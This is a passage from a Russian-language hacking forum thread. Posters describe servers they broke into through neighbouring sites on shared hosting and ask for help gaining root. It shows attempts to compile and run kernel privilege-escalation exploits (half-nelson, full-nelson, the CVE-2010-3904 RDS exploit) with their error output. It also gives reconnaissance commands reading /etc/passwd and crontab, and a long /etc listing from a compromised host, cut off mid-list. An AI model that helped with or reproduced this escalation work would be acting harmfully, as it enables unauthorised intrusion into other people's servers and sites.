Ага, и на ней хостится 200-300 сайтов? Сижу там под apache. Могу ходить там везде, смотреть исходники сайтов) Не виртуалка там
Подскажите что нибудь под: Code: Server software: Apache Disabled PHP Functions: none cURL support: enabled Supported databases: MySql (5.1.62), MSSQL Readable /etc/passwd: yes [view] Readable /etc/shadow: no OS version: Linux version 2.6.30-gentoo-r8-U (root@xen-host) (gcc version 3.4.6 (Gentoo Hardened 3.4.6-r2 p1.5, ssp-3.4.6-1.0, pie-8.7.10)) #1 SMP Tue Nov 24 11:56:28 MSK 2009 Userful: gcc, cc, ld, make, php, perl, python, tar, gzip, bzip2, nc Downloaders: wget, curl Пробывал half-nelson в ответ получил: Code: half-nelson.c: In function 'get_kstack': half-nelson.c:212:79: error: 'MAP_32BIT' undeclared (first use in this function) half-nelson.c:212:79: note: each undeclared identifier is reported only once for each function it appears in и т.д. Пробывал другой способ со статьи: Code: sh-4.2$ mkdir /tmp/exploit mkdir /tmp/exploit sh-4.2$ ln /bin/ping /tmp/exploit/target ln /bin/ping /tmp/exploit/target sh-4.2$ exec 3< /tmp/exploit/target exec 3< /tmp/exploit/target sh: /tmp/exploit/target: Permission denied sh-4.2$ ls -l /proc/$$/fd/3 ls -l /proc/$$/fd/3 lrwx------ 1 co1883 co1883 64 Oct 28 08:20 /proc/28831/fd/3 -> socket:[76306682] Пробывал full-nelson: Code: gcc full-nelson.c -o full-nelson full-nelson.c:1:4: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'all' full-nelson.c:3:2: warning: missing terminating ' character full-nelson.c:3:1: error: missing terminating ' character full-nelson.c:4:62: warning: missing terminating ' character full-nelson.c:4:1: error: missing terminating ' character In file included from /usr/include/stdio.h:75:0, from full-nelson.c:73: /usr/include/libio.h:334:3: error: expected specifier-qualifier-list before 'size_t' /usr/include/libio.h:366:62: error: expected declaration specifiers or '...' before 'size_t' /usr/include/libio.h:375:6: error: expected declaration specifiers or '...' before 'size_t' /usr/include/libio.h:497:19: error: expected '=', ',', ';', 'asm' or '__attribute__' before '_IO_sgetn' In file included from full-nelson.c:73:0: /usr/include/stdio.h:316:35: error: expected declaration specifiers or '...' before 'size_t' /usr/include/stdio.h:322:47: error: expected declaration specifiers or '...' before 'size_t' /usr/include/stdio.h:334:20: error: expected declaration specifiers or '...' before 'size_t' /usr/include/stdio.h:341:10: error: expected declaration specifiers or '...' before 'size_t' /usr/include/stdio.h:383:44: error: expected declaration specifiers or '...' before 'size_t' /usr/include/stdio.h:385:6: error: format string argument not a string type /usr/include/stdio.h:387:45: error: expected declaration specifiers or '...' before 'size_t' /usr/include/stdio.h:659:11: error: expected declaration specifiers or '...' before 'size_t' /usr/include/stdio.h:662:9: error: expected declaration specifiers or '...' before 'size_t' /usr/include/stdio.h:672:8: error: expected declaration specifiers or '...' before 'size_t' /usr/include/stdio.h:702:15: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'fread' /usr/include/stdio.h:708:15: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'fwrite' /usr/include/stdio.h:730:15: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'fread_unlocked' /usr/include/stdio.h:732:15: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'fwrite_unlocked' In file included from /usr/include/sys/uio.h:29:0, from /usr/include/sys/socket.h:28, from full-nelson.c:74: /usr/include/bits/uio.h:47:5: error: expected specifier-qualifier-list before 'size_t' In file included from /usr/include/sys/socket.h:40:0, from full-nelson.c:74: /usr/include/bits/socket.h:257:5: error: expected specifier-qualifier-list before 'size_t' /usr/include/bits/socket.h:280:5: error: expected specifier-qualifier-list before 'size_t' In file included from full-nelson.c:74:0: /usr/include/sys/socket.h:141:53: error: expected declaration specifiers or '...' before 'size_t' /usr/include/sys/socket.h:148:45: error: expected declaration specifiers or '...' before 'size_t' /usr/include/sys/socket.h:155:55: error: expected declaration specifiers or '...' before 'size_t' /usr/include/sys/socket.h:166:60: error: expected declaration specifiers or '...' before 'size_t' In file included from full-nelson.c:77:0: /usr/include/string.h:45:40: error: expected declaration specifiers or '...' before 'size_t' /usr/include/string.h:49:58: error: expected declaration specifiers or '...' before 'size_t' /usr/include/string.h:58:18: error: expected declaration specifiers or '...' before 'size_t' /usr/include/string.h:65:42: error: expected declaration specifiers or '...' before 'size_t' /usr/include/string.h:68:60: error: expected declaration specifiers or '...' before 'size_t' /usr/include/string.h:95:50: error: expected declaration specifiers or '...' before 'size_t' /usr/include/string.h:132:41: error: expected declaration specifiers or '...' before 'size_t' /usr/include/string.h:140:9: error: expected declaration specifiers or '...' before 'size_t' /usr/include/string.h:146:61: error: expected declaration specifiers or '...' before 'size_t' /usr/include/string.h:153:15: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'strxfrm' In file included from full-nelson.c:77:0: /usr/include/string.h:168:15: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'strxfrm_l' /usr/include/string.h:183:47: error: expected declaration specifiers or '...' before 'size_t' /usr/include/string.h:284:15: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'strcspn' /usr/include/string.h:288:15: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'strspn' /usr/include/string.h:399:15: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'strlen' /usr/include/string.h:406:15: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'strnlen' /usr/include/string.h:427:12: error: expected declaration specifiers or '...' before 'size_t' /usr/include/string.h:451:33: error: expected declaration specifiers or '...' before 'size_t' /usr/include/string.h:455:55: error: expected declaration specifiers or '...' before 'size_t' /usr/include/string.h:459:31: error: expected declaration specifiers or '...' before 'size_t' /usr/include/string.h:462:58: error: expected declaration specifiers or '...' before 'size_t' /usr/include/string.h:540:65: error: expected declaration specifiers or '...' before 'size_t' /usr/include/string.h:577:36: error: expected declaration specifiers or '...' before 'size_t' /usr/include/string.h:580:41: error: expected declaration specifiers or '...' before 'size_t' In file included from /usr/include/sched.h:43:0, from full-nelson.c:79: /usr/include/bits/sched.h:205:37: error: expected ')' before '__setsize' /usr/include/bits/sched.h:207:44: error: expected ')' before '__count' In file included from full-nelson.c:80:0: /usr/include/stdlib.h:140:15: error: expected '=', ',', ';', 'asm' or '__attribute__' before '__ctype_get_mb_cur_max' /usr/include/stdlib.h:337:4: error: expected declaration specifiers or '...' before 'size_t' /usr/include/stdlib.h:367:4: error: expected declaration specifiers or '...' before 'size_t' /usr/include/stdlib.h:369:6: error: nonnull argument with out-of-range operand number (argument 1, operand 4) /usr/include/stdlib.h:471:29: error: expected ')' before '__size' /usr/include/stdlib.h:473:29: error: expected ')' before '__nmemb' /usr/include/stdlib.h:485:36: error: expected declaration specifiers or '...' before 'size_t' In file included from /usr/include/stdlib.h:497:0, from full-nelson.c:80: /usr/include/alloca.h:33:29: error: expected ')' before '__size' In file included from full-nelson.c:80:0: /usr/include/stdlib.h:503:29: error: expected ')' before '__size' /usr/include/stdlib.h:508:45: error: expected declaration specifiers or '...' before 'size_t' /usr/include/stdlib.h:508:65: error: expected declaration specifiers or '...' before 'size_t' /usr/include/stdlib.h:756:9: error: expected declaration specifiers or '...' before 'size_t' /usr/include/stdlib.h:756:25: error: expected declaration specifiers or '...' before 'size_t' /usr/include/stdlib.h:757:6: error: nonnull argument with out-of-range operand number (argument 1, operand 5) /usr/include/stdlib.h:761:34: error: expected declaration specifiers or '...' before 'size_t' /usr/include/stdlib.h:761:50: error: expected declaration specifiers or '...' before 'size_t' /usr/include/stdlib.h:762:6: error: nonnull argument with out-of-range operand number (argument 1, operand 4) /usr/include/stdlib.h:840:6: error: expected declaration specifiers or '...' before 'size_t' /usr/include/stdlib.h:843:6: error: expected declaration specifiers or '...' before 'size_t' /usr/include/stdlib.h:847:31: error: expected declaration specifiers or '...' before 'size_t' /usr/include/stdlib.h:851:31: error: expected declaration specifiers or '...' before 'size_t' /usr/include/stdlib.h:860:38: error: expected declaration specifiers or '...' before 'size_t' /usr/include/stdlib.h:864:36: error: expected declaration specifiers or '...' before 'size_t' /usr/include/stdlib.h:871:15: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'mbstowcs' /usr/include/stdlib.h:874:15: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'wcstombs' In file included from /usr/include/signal.h:356:0, from full-nelson.c:81: /usr/include/bits/sigstack.h:54:5: error: expected specifier-qualifier-list before 'size_t' In file included from full-nelson.c:83:0: /usr/include/sys/mman.h:58:34: error: expected declaration specifiers or '...' before 'size_t' /usr/include/sys/mman.h:77:34: error: expected declaration specifiers or '...' before 'size_t' /usr/include/sys/mman.h:82:36: error: expected declaration specifiers or '...' before 'size_t' /usr/include/sys/mman.h:90:33: error: expected declaration specifiers or '...' before 'size_t' /usr/include/sys/mman.h:95:35: error: expected declaration specifiers or '...' before 'size_t' /usr/include/sys/mman.h:99:41: error: expected declaration specifiers or '...' before 'size_t' /usr/include/sys/mman.h:104:41: error: expected declaration specifiers or '...' before 'size_t' /usr/include/sys/mman.h:107:43: error: expected declaration specifiers or '...' before 'size_t' /usr/include/sys/mman.h:124:36: error: expected declaration specifiers or '...' before 'size_t' In file included from full-nelson.c:84:0: /usr/include/unistd.h:357:45: error: expected declaration specifiers or '...' before 'size_t' /usr/include/unistd.h:363:54: error: expected declaration specifiers or '...' before 'size_t' /usr/include/unistd.h:373:46: error: expected declaration specifiers or '...' before 'size_t' /usr/include/unistd.h:381:55: error: expected declaration specifiers or '...' before 'size_t' /usr/include/unistd.h:508:35: error: expected declaration specifiers or '...' before 'size_t' In file included from full-nelson.c:84:0: /usr/include/unistd.h:620:15: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'confstr' /usr/include/unistd.h:793:46: error: expected declaration specifiers or '...' before 'size_t' /usr/include/unistd.h:829:29: error: expected declaration specifiers or '...' before 'size_t' /usr/include/unistd.h:840:31: error: expected declaration specifiers or '...' before 'size_t' /usr/include/unistd.h:876:38: error: expected declaration specifiers or '...' before 'size_t' In file included from full-nelson.c:84:0: /usr/include/unistd.h:898:39: error: expected declaration specifiers or '...' before 'size_t' /usr/include/unistd.h:905:47: error: expected declaration specifiers or '...' before 'size_t' /usr/include/unistd.h:916:41: error: expected declaration specifiers or '...' before 'size_t' /usr/include/unistd.h:918:49: error: expected declaration specifiers or '...' before 'size_t' /usr/include/unistd.h:936:57: error: expected declaration specifiers or '...' before 'size_t' /usr/include/unistd.h:937:6: error: expected declaration specifiers or '...' before 'size_t' full-nelson.c: In function 'get_kernel_sym': full-nelson.c:128:33: error: too many arguments to function 'strncmp' /usr/include/string.h:146:12: note: declared here full-nelson.c:153:9: error: too many arguments to function 'strncmp' /usr/include/string.h:146:12: note: declared here full-nelson.c: In function 'trigger': full-nelson.c:200:9: error: too many arguments to function 'memset' /usr/include/string.h:65:14: note: declared here full-nelson.c:201:9: error: too many arguments to function 'strncpy' /usr/include/string.h:131:14: note: declared here full-nelson.c: In function 'main': full-nelson.c:249:25: warning: incompatible implicit declaration of built-in function 'malloc' full-nelson.c:262:24: error: too many arguments to function 'mmap' /usr/include/sys/mman.h:58:14: note: declared here full-nelson.c:269:9: error: too many arguments to function 'memcpy' /usr/include/string.h:44:14: note: declared here full-nelson.c:273:15: error: 'CLONE_VM' undeclared (first use in this function) full-nelson.c:273:15: note: each undeclared identifier is reported only once for each function it appears in full-nelson.c:273:26: error: 'CLONE_CHILD_CLEARTID' undeclared (first use in this function) Пробывал CVE-2010-3904: Code: sh-4.2$ gcc linux-rds-exploit.c -o linux-rds-exploit gcc linux-rds-exploit.c -o linux-rds-exploit sh-4.2$ ./linux-rds-exploit ./linux-rds-exploit [*] Linux kernel >= 2.6.30 RDS socket exploit [*] by Dan Rosenberg [*] Could not open socket. Надеюсь описал более менее подробно
2lansia Enlightenment (до лета 2010) Прошу помощи у товарищей комрадов. Ситуация: есть сервер, нужно получить доступ к сайту. На сам сайт не залится, но получилось залится на соседа. Права только к папочке юзера. /home/sosed. Выручайте. $ uname -a 2>&1 $ mount 2>&1 $ df -h 2>&1 $ ls -la /boot 2>&1 $ cat /proc/version 2>&1 $ cat /etc/passwd 2>&1 $ cat /etc/issue 2>&1 $ cat /etc/crontab 2>&1
омфг $ls -la /etc 2>&1 Code: total 51780 drwxr-xr-x 98 root root 12288 Nov 7 14:01 . drwxr-xr-x 29 root root 4096 Sep 18 22:09 .. -rw-r----- 1 root mail 0 Nov 7 05:55 .mailips -rw------- 1 root root 0 Nov 11 2011 .pwd.lock -rw-r--r-- 1 root root 0 Nov 14 2011 .whostmgrft -rw-r--r-- 1 root root 30 Oct 2 14:03 CloudLinux-release -rw-r--r-- 1 root root 2518 Mar 21 2012 DIR_COLORS -rw-r--r-- 1 root root 2420 Mar 21 2012 DIR_COLORS.xterm drwxr-xr-x 4 root root 4096 Nov 11 2011 NetworkManager drwxr-xr-x 6 root root 4096 Aug 10 05:53 X11 drwxr-xr-x 4 root root 4096 Dec 8 2011 acpi -rw-r--r-- 1 root root 46 Sep 18 22:07 adjtime -rw-r--r-- 1 root root 1512 Apr 25 2005 aliases drwxr-xr-x 4 root root 4096 Aug 22 05:52 alsa drwxr-xr-x 2 root root 4096 Mar 30 2012 alternatives -rw-r--r-- 1 root root 298 Jan 19 2011 anacrontab -rw-r--r-- 1 root root 10634 Oct 25 18:57 antivirus.exim -rw------- 1 root root 1 Jan 26 2010 at.deny drwxr-x--- 3 root root 4096 Mar 21 2012 audisp drwxr-x--- 2 root root 4096 Mar 21 2012 audit -rw-r--r-- 1 root root 717 Apr 20 2012 auto.master -rw-r--r-- 1 root root 581 Apr 20 2012 auto.misc -rwxr-xr-x 1 root root 1292 Apr 20 2012 auto.net -rwxr-xr-x 1 root root 742 Apr 20 2012 auto.smb -rw------- 1 root root 3902 Apr 20 2012 autofs_ldap_auth.conf drwxr-xr-x 4 root root 4096 Aug 22 05:52 avahi -rw-r----- 1 root mail 50 Apr 27 2012 backupmxhosts drwxr-xr-x 2 root root 4096 Aug 29 22:05 bash_completion.d -rwxr-xr-x 1 root root 1702 Nov 10 2011 bashrc -rw-r--r-- 1 root root 1872 Feb 28 2012 bashrc.rpmnew -rw-r----- 1 root root 130343 Oct 31 10:24 bkup.mailips drwxr-xr-x 2 root root 4096 Oct 29 22:30 blkid -rw-r--r-- 1 root root 605 Jul 15 01:23 blkid.tab -rw-r--r-- 1 root root 605 Jul 14 08:55 blkid.tab.old drwxr-xr-x 2 root root 4096 Nov 28 2011 bluetooth drwxr-xr-x 2 root root 4096 Aug 22 05:52 bonobo-activation drwxr-xr-x 2 root root 4096 Nov 6 21:42 chkserv.d drwxr-xr-x 2 root root 4096 Nov 28 2011 cl-convert-saved -rw-r--r-- 1 root root 14949 Oct 24 13:12 clamd.conf -rw-r--r-- 1 root root 6308 Nov 11 2007 conman.conf drwxr-xr-x 2 root root 4096 Oct 4 05:53 container -rw-r--r-- 1 root root 11435 May 1 2012 cpanel_exim_system_filter -rw-r--r-- 1 root root 11470 Apr 4 2012 cpanel_exim_system_filter_custom -rw-r--r-- 1 root root 0 Nov 6 21:42 cpanelsync.exclude -rw-r--r-- 1 root root 38 Jul 16 23:08 cpanelsync.no_chmod -rw-r--r-- 1 root root 138 Nov 25 2011 cpbackup-exclude.conf -rw-r--r-- 1 root root 390 Nov 6 21:42 cpbackup.conf -rw-r--r-- 1 root root 493 Nov 6 21:43 cpbackup.conf.cache -rw-r--r-- 1 root root 52 Nov 6 21:42 cpbackup.public.conf -rw-r--r-- 1 root root 208 Oct 24 11:21 cpupdate.conf drwx------ 2 root root 4096 Oct 17 18:06 cron.d drwxr-xr-x 2 root root 4096 Aug 30 05:54 cron.daily -rw-r--r-- 1 root root 7 Nov 10 2011 cron.deny drwxr-xr-x 2 root root 4096 Mar 22 2012 cron.hourly drwxr-xr-x 2 root root 4096 Nov 28 2011 cron.monthly drwxr-xr-x 2 root root 4096 Jun 6 05:52 cron.weekly -rw-r--r-- 1 root root 255 Nov 28 2011 crontab drw------- 11 root root 4096 Nov 7 06:00 csf -rw-r--r-- 1 root root 1044 Feb 28 2012 csh.cshrc -rw-r--r-- 1 root root 823 Feb 28 2012 csh.login -rw-r----- 1 root mail 28936 Nov 7 05:55 dbowners drwxr-xr-x 4 root root 4096 Nov 11 2011 dbus-1 drwxr-xr-x 2 root root 4096 Aug 28 05:54 default -rw-r----- 1 root mail 0 Nov 7 05:55 demodomains -rw-r----- 1 root root 206 Nov 15 2011 demodomains,v -rw-r----- 1 root mail 0 Nov 7 05:55 demouids -rw-r----- 1 root root 206 Nov 15 2011 demouids,v -rw-r----- 1 root mail 0 Nov 7 05:55 demousers drwxr-xr-x 2 root root 4096 Nov 11 2011 depmod.d drwxr-xr-x 3 root root 4096 Nov 14 2011 dev.d -rw-r--r-- 1 root root 178 Mar 6 2011 dhcp6c.conf -rw-r----- 1 root root 1 Nov 6 20:09 digestshadow -rw-r--r-- 1 root root 18484 Sep 1 2009 dnsmasq.conf drwxr-xr-x 2 root root 4096 Sep 1 2009 dnsmasq.d -rw-r--r-- 1 root root 0 Apr 4 2012 domain_keys_active -rw-r--r-- 1 root root 1858 Nov 6 21:39 domainips -rw-r----- 1 root mail 43831 Nov 7 05:55 domainusers -r--r----- 1 root root 778732 Nov 6 20:09 domainusers,v drwxr-xr-x 3 root root 4096 Nov 10 2011 dovecot -rw-r--r-- 1 root root 32405 Nov 6 21:38 dovecot.conf -rw-rw-r-- 1 root disk 0 Nov 29 2011 dumpdates -rw-r----- 1 root mail 17502 Nov 7 05:55 email_send_limits -rw-r----- 1 root wheel 7509 May 4 2012 email_send_limits,v -rw-r--r-- 1 root root 0 Mar 7 2012 entropychatdisable -rw-r--r-- 1 root root 0 Feb 28 2012 environment -rw-r--r-- 1 root root 153 Mar 15 2012 esd.conf drwxr-xr-x 3 root root 4096 Nov 10 2011 exim -rw-r--r-- 1 root root 0 Nov 10 2011 exim.aclspam -rw-r--r-- 1 root root 57897 Nov 6 21:38 exim.conf -rw-r--r-- 1 root root 26408 Oct 25 18:57 exim.conf.dist -rw-r--r-- 1 root root 476 May 1 2012 exim.conf.local -rw-r--r-- 1 root root 1130 Nov 6 21:42 exim.conf.localopts -rw-r--r-- 1 root root 29729 Oct 25 18:57 exim.conf.mailman2.dist -rw-r--r-- 1 root root 29904 Oct 25 18:57 exim.conf.mailman2.exiscan.dist lrwxrwxrwx 1 root root 31 Jan 19 2012 exim.crt -> /var/cpanel/ssl/exim/myexim.crt lrwxrwxrwx 1 root root 31 Jan 19 2012 exim.key -> /var/cpanel/ssl/exim/myexim.key -rw-r--r-- 1 root root 26257 Nov 6 21:38 exim.pl -rwxr-xr-x 1 root root 61647 Nov 6 21:38 exim.pl.local -rw-r--r-- 1 root root 24 Apr 5 2012 exim_trusted_configs -rw-r--r-- 1 root root 10 Sep 19 19:54 eximmailtrap -rw-r--r-- 1 root root 226 Nov 6 21:39 eximrejects -rw-r--r-- 1 root root 0 Jan 12 2000 exports -rw-r--r-- 1 root root 22060 Jan 7 2007 fb.modes -rw-r--r-- 1 root root 59 Jan 31 2006 filesystems drwxr-xr-x 2 root root 4096 Mar 21 2012 firmware drwxr-xr-x 4 root root 4096 Nov 11 2011 fonts -rw-r--r-- 1 root root 7775 Oct 24 13:12 freshclam.conf -rw-r--r-- 1 root root 632 Sep 29 22:28 fstab -rw-r--r-- 1 root root 1080 Nov 14 2011 fstab,v -rw-r--r-- 1 root root 624 Jul 26 19:53 fstab.quotas lrwxrwxrwx 1 root root 38 Jan 19 2012 ftpd-rsa-key.pem -> /var/cpanel/ssl/ftp/myftpd-rsa-key.pem lrwxrwxrwx 1 root root 34 Jan 19 2012 ftpd-rsa.pem -> /var/cpanel/ssl/ftp/myftpd-rsa.pem drwxr-xr-x 6 root root 4096 Nov 11 2011 gconf drwxr-xr-x 2 root root 4096 Apr 17 2012 gcrypt drwxr-xr-x 2 root root 4096 Sep 12 09:13 ghostscript drwxr-xr-x 3 root root 4096 Aug 22 05:53 gnome-vfs-2.0 -rw-r--r-- 1 root root 10793 Sep 18 2009 gnome-vfs-mime-magic -rw-r--r-- 1 root root 1756 Jan 6 2007 gpm-root.conf -rw-r--r-- 1 root root 27490 Nov 6 20:09 group -r--r--r-- 1 root root 70959 Oct 22 19:18 group,v -rw------- 1 root root 27507 Nov 6 20:08 group- lrwxrwxrwx 1 root root 22 Nov 11 2011 grub.conf -> ../boot/grub/grub.conf -rw------- 1 root root 20997 Nov 6 20:09 gshadow -r-------- 1 root root 58417 Oct 22 19:18 gshadow,v -rw------- 1 root root 21010 Nov 6 20:08 gshadow- -rw-r--r-- 1 root root 833 Mar 14 2007 gssapi_mech.conf drwxr-xr-x 4 root root 4096 Dec 8 2011 gtk-2.0 drwxr-xr-x 3 root root 4096 Mar 6 2011 hal -rw-r--r-- 1 root root 0 Feb 28 2012 host.conf -rw-r--r-- 1 root root 245 Nov 7 05:56 hosts -rw-r--r-- 1 root root 161 Jan 12 2000 hosts.allow -rw-r--r-- 1 root root 165 Feb 28 2012 hosts.deny lrwxrwxrwx 1 root root 17 Nov 10 2011 httpd -> /usr/local/apache -rw-r--r-- 1 root root 3579 Mar 15 2012 idmapd.conf lrwxrwxrwx 1 root root 11 Nov 11 2011 init.d -> rc.d/init.d -rw-r--r-- 1 root root 658 Aug 9 12:04 initlog.conf -rw-r--r-- 1 root root 1666 Aug 9 12:04 inittab -rw-r--r-- 1 root root 758 Sep 23 2004 inputrc -rw-r--r-- 1 root root 0 Nov 22 2011 interchangedisable -rw-r--r-- 1 root root 14 Nov 7 12:45 ipaddrpool -rw-r--r-- 1 root root 82 Jul 15 07:42 ipaddrpool- drwxr-xr-x 2 root root 4096 Aug 10 05:53 iproute2 -rw-r--r-- 1 root root 2513 Oct 29 23:16 ips -rw-r--r-- 1 root wheel 2682 Nov 7 13:25 ips.dnsmaster drwxr-xr-x 2 root root 4096 Mar 21 2012 iscsi -rw-r--r-- 1 root root 50 Oct 2 14:03 issue -rw-r--r-- 1 root root 49 Oct 2 14:03 issue.net -rw-r--r-- 1 root root 604 Nov 10 2011 issue.net.rpmsave -rw-r--r-- 1 root root 603 Nov 10 2011 issue.rpmsave -rw-r--r-- 1 root root 32016 May 4 2011 jwhois.conf -rw-r--r-- 1 root root 608 Jun 25 2007 krb5.conf -rw-r--r-- 1 root root 56605 Oct 18 05:52 ld.so.cache -rw-r--r-- 1 root root 28 Oct 8 2006 ld.so.conf drwxr-xr-x 2 root root 4096 Aug 27 13:38 ld.so.conf.d -rw-r--r-- 1 root root 9111 Nov 11 2011 ldap.conf -rw-r--r-- 1 root root 3544 Dec 5 2011 lftp.conf -rw-r----- 1 root root 191 Oct 27 2011 libaudit.conf -rw-r--r-- 1 root root 2506 Aug 7 10:16 libuser.conf -rw-r--r-- 1 root root 0 Oct 25 18:57 localaliases -rw-r----- 1 root mail 71858 Nov 7 13:26 localdomains -rw-r----- 1 root root 1516656 Nov 6 20:09 localdomains,v -rw-r--r-- 1 root root 118 Apr 20 2012 localtime -rw-r--r-- 1 root root 1522 Nov 11 2011 login.defs -rw-r--r-- 1 root root 619 Jun 6 08:57 logrotate.conf drwxr-xr-x 2 root root 4096 Oct 27 06:11 logrotate.d drwxr-xr-x 4 root root 4096 Aug 29 12:11 logwatch drwxr-xr-x 2 root root 4096 Nov 28 2011 lsb-release.d drwxr-xr-x 5 root root 4096 Mar 21 2012 lvm -rw-r--r-- 1 root root 66 Oct 27 2008 lynx-site.cfg -rw-r--r-- 1 root root 140191 Oct 27 2008 lynx.cfg drwxr-xr-x 3 root root 4096 Nov 10 2011 mail -rw-r--r-- 1 root root 112 Jan 7 2007 mail.rc -rw-r----- 1 root mail 42 Nov 7 05:55 mail_reverse_dns -rw-r--r-- 1 root root 293 Jan 7 2007 mailcap -rw-r----- 1 root mail 0 Nov 7 05:55 mailhelo -rw-r----- 1 root mail 130343 Oct 31 10:24 mailips -rw-r----- 1 root root 130350 Oct 30 09:24 mailips~ drwxr-xr-x 3 root root 4096 Nov 10 2011 mailproviders drwxr-xr-x 2 root root 4096 Nov 11 2011 makedev.d -rw-r--r-- 1 root root 4617 May 30 12:11 man.config -rwxr-xr-x 1 root root 2242 May 18 2011 mcelog.conf -rw-r--r-- 1 root root 10 Apr 3 2012 melangedisable drwxr-xr-x 2 root root 4096 Nov 11 2011 mgetty+sendfax -rw-r--r-- 1 root root 14100 Jan 7 2007 mime.types -rw-r--r-- 1 root root 330 Jun 20 09:21 mke2fs.conf -rw-r--r-- 1 root root 96 Nov 11 2011 modprobe.conf drwxr-xr-x 2 root root 4096 Sep 18 09:21 modprobe.d -rw-r--r-- 1 root root 0 Jan 12 2000 motd -rw-r--r-- 1 root root 0 Nov 6 21:38 mta_dkim_active -rw-r--r-- 1 root root 391 Sep 29 22:28 mtab -rw-r--r-- 1 root root 1983 Jan 6 2007 mtools.conf -rw-r--r-- 1 root root 2706 Apr 2 2012 multipath.conf -rw-r--r-- 1 root root 740 Sep 19 19:54 my.cnf -rw-r----- 1 root named 1230 Oct 15 08:41 named.caching-nameserver.conf -rw-r----- 1 named named 6665955 Nov 7 13:25 named.conf -rw-r----- 1 root root 20859452 Nov 6 20:24 named.conf,v -rw-r----- 1 root named 836251 Nov 7 13:25 named.conf.cache -rw-r----- 1 root named 547372 Dec 28 2011 named.conf.precleandns -rw-r----- 1 root named 3947575 Jul 17 08:33 named.conf.prerebuilddnsconfig -rw-r----- 1 root named 3947550 Jul 17 08:33 named.conf.rebuilddnsconfig -rw-r----- 1 root named 62 Nov 7 13:25 named.conf.zonedir.cache -rw-r----- 1 root named 955 Oct 15 08:41 named.rfc1912.zones -rw-r--r-- 1 root root 2149 Apr 16 2012 nameserverips drwxr-xr-x 2 root root 4096 Mar 21 2012 netplug drwxr-xr-x 2 root root 4096 Mar 21 2012 netplug.d -rw-r----- 1 root mail 2487 Nov 7 05:55 nocgiusers -rw-r----- 1 root root 38962 Nov 6 00:05 nocgiusers,v -rw-r--r-- 1 root root 1895 Aug 27 13:13 nscd.conf drwxr-xr-x 2 named named 4096 Oct 19 00:41 nsd Code: -rw-r--r-- 1 root root 1717 Aug 9 05:52 nsswitch.conf drwxr-xr-x 2 root root 4096 Nov 28 2011 oddjob -rw-r--r-- 1 root root 4461 Jul 19 2006 oddjobd.conf drwxr-xr-x 2 root root 4096 Nov 30 2011 oddjobd.conf.d -rw-r--r-- 1 root root 65 Feb 16 2012 oldscriptfinder-cpanelplugin.conf drwxr-xr-x 3 root root 4096 Jul 12 11:34 openldap drwxr-xr-x 2 root root 4096 May 11 2011 opt drwxr-xr-x 2 root root 4096 Nov 6 21:39 pam.d drwxr-xr-x 2 root root 4096 Mar 21 2012 pam_pkcs11 -rw-r--r-- 1 root root 12 Jan 6 2007 pam_smb.conf drwxr-xr-x 4 root root 4096 Nov 28 2011 pango -rw-r--r-- 1 root root 107061 Nov 6 20:09 passwd -rw-r--r-- 1 root root 625624 Nov 6 20:09 passwd,v -rw-r--r-- 1 root root 107112 Nov 6 20:09 passwd- -rw-r--r-- 1 root root 107128 Nov 6 20:08 passwd.OLD -rw------- 1 root root 297168 Nov 6 20:09 passwd.cache -rw------- 1 root root 271048 Nov 6 20:09 passwd.nouids.cache drwxr-xr-x 2 root root 4096 Nov 11 2011 pcmcia -rw-r--r-- 1 root root 2875 Jan 7 2007 pinforc drwxr-xr-x 8 root root 4096 Nov 10 2011 pki drwxr-xr-x 5 root root 4096 Aug 8 05:52 pm -rw------- 1 root wheel 94 Oct 22 19:18 portassignments drwxr-xr-x 3 root root 4096 Aug 10 05:53 ppp -rw-r--r-- 1 root root 189900 Nov 7 05:16 prelink.cache -rw-r--r-- 1 root root 973 Sep 18 2008 prelink.conf drwxr-xr-x 2 root root 4096 Jan 21 2009 prelink.conf.d -rw-r--r-- 1 root root 233 Mar 25 2004 printcap -rw-r--r-- 1 root root 1262 Nov 10 2011 profile drwxr-xr-x 2 root root 4096 Aug 10 05:53 profile.d -rw-r--r-- 1 root root 1344 Feb 28 2012 profile.rpmnew drwxr-x--x 2 root root 106496 Nov 7 13:26 proftpd drwxr-xr-x 2 root root 4096 Dec 28 2011 prospamfilter -rw-r--r-- 1 root root 6108 Oct 11 2006 protocols drwxr-xr-x 2 root root 4096 Nov 6 21:39 pure-ftpd -rw-r--r-- 1 root root 10709 Sep 5 21:51 pure-ftpd.conf -rw-r--r-- 1 root root 11181 Dec 9 2011 pure-ftpd.conf.rpmnew lrwxrwxrwx 1 root root 33 Jan 19 2012 pure-ftpd.pem -> /var/cpanel/ssl/ftp/pure-ftpd.pem -rw------- 1 root root 84 Nov 28 2011 pureftpd.passwd -rw------- 1 root root 2150 Nov 28 2011 pureftpd.pdb -rw------- 1 root root 21186 Nov 6 21:35 quota.conf -rw------- 1 root root 467653 Nov 6 20:09 quota.conf,v -rw-r--r-- 1 root root 220 May 4 2011 quotagrpadmins -rw-r--r-- 1 root root 290 May 4 2011 quotatab drwxr-xr-x 3 root root 4096 Sep 12 05:54 racoon lrwxrwxrwx 1 root root 7 Aug 10 05:53 rc -> rc.d/rc drwxr-xr-x 10 root root 4096 Nov 6 21:40 rc.d lrwxrwxrwx 1 root root 13 Aug 10 05:53 rc.local -> rc.d/rc.local lrwxrwxrwx 1 root root 15 Aug 10 05:53 rc.sysinit -> rc.d/rc.sysinit lrwxrwxrwx 1 root root 10 Aug 10 05:53 rc0.d -> rc.d/rc0.d lrwxrwxrwx 1 root root 10 Aug 10 05:53 rc1.d -> rc.d/rc1.d lrwxrwxrwx 1 root root 10 Aug 10 05:53 rc2.d -> rc.d/rc2.d lrwxrwxrwx 1 root root 10 Aug 10 05:53 rc3.d -> rc.d/rc3.d lrwxrwxrwx 1 root root 10 Aug 10 05:53 rc4.d -> rc.d/rc4.d lrwxrwxrwx 1 root root 10 Aug 10 05:53 rc5.d -> 